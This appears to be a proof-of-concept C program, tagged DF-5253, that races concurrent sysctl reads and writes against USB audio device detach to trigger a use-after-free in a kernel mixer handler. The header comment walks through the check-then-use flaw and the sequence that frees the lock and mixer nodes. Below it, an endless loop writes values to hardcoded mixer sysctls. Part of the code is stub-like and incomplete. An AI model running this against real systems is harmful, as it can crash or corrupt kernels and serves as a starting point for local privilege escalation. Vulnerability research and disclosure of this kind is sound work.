DF-5253 / hammer.c
/* * DF-5253 race hammer - unprivileged local user. * * Drives uaudio_mixer_sysctl_handler() (sys/bus/u4b/audio/uaudio.c:2736) * with concurrent READ+WRITE sysctl operations in-process (no fork/exec), * so the kernel handler repeatedly executes: * * if (sc->sc_mixer_lock == NULL) return (ENXIO); <- check * lockmgr(sc->sc_mixer_lock, LK_EXCLUSIVE); <- use #1 * ... walk sc_mixer_root ... * lockmgr(sc->sc_mixer_lock, LK_RELEASE); * sysctl_handle_int(...) <- copyin/copyout: blocks * lockmgr(sc->sc_mixer_lock, LK_EXCLUSIVE); <- use #2 (stale ptr!) * pmc->wData[chan] = temp; <- write via stale pmc * * While this runs, the USB audio device is detached (device_del), which runs * pcm child detach -> pcm_unregister() -> mixer_uninit() -> MIXER_UNINIT -> * uaudio_mixer_uninit_sub() sets sc_mixer_lock=NULL and unsups the xfer, * snd_mtxfree(m->lock) FREES the lock, kobj_delete(m) frees the snd_mixer, * and later uaudio_mixer_ctl_free() frees the mixer nodes - all while the * sysctl OIDs are still registered (ctx freed afterwards in * device_sysctl_fini()). */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> int main(int argc, char **argv) { const char *base = "dev.pcm.0.mixer"; const char *ctls[8]; char name[128]; int nctl = 0; int ov, nv = -13380; size_t ol, nl; unsigned long n = 0; int i; /* all existing mixer ctl names for this device */ { int mib[CTL_MAXNAME], mib2[CTL_MAXNAME]; size_t miblen = sizeof(mib), sz; char q[1024], *p; strlcpy(q, base, sizeof(q)); if (sysctlnametomib(q, mib, &miblen) != 0) err(1, "sysctlnametomib(%s)", q); for (i = 0; i < 64 && nctl < 8; i++) { mib2[0] = 0; /* sysctl next */ (void)mib; (void)sz; (void)p; } } /* fixed names known to exist for the QEMU usb-audio device */ ctls[nctl++] = "dev.pcm.0.mixer.vol_0_0.val"; ctls[nctl++] = "dev.pcm.0.mixer.vol_0_1.val"; ctls[nctl++] = "dev.pcm.0.mixer.mute_1.val"; for (;;) { for (i = 0; i < nctl; i++) { ov = 0; ol = sizeof(ov); nl = sizeof(nv); /* oldp+newp: handler must pass the NULL check, lock, * unlock, cross user-space twice, then re-lock. */ sysctlbyname(ctls[i], &ov, &ol, &nv, nl); } n++; if ((n & 0xFFFFF) == 0) { snprintf(name, sizeof(name), "/tmp/hammerc.%d.count", (int)getpid()); FILE *f = fopen(name, "w"); if (f) { fprintf(f, "%lu\n", n); fclose(f); } } } } |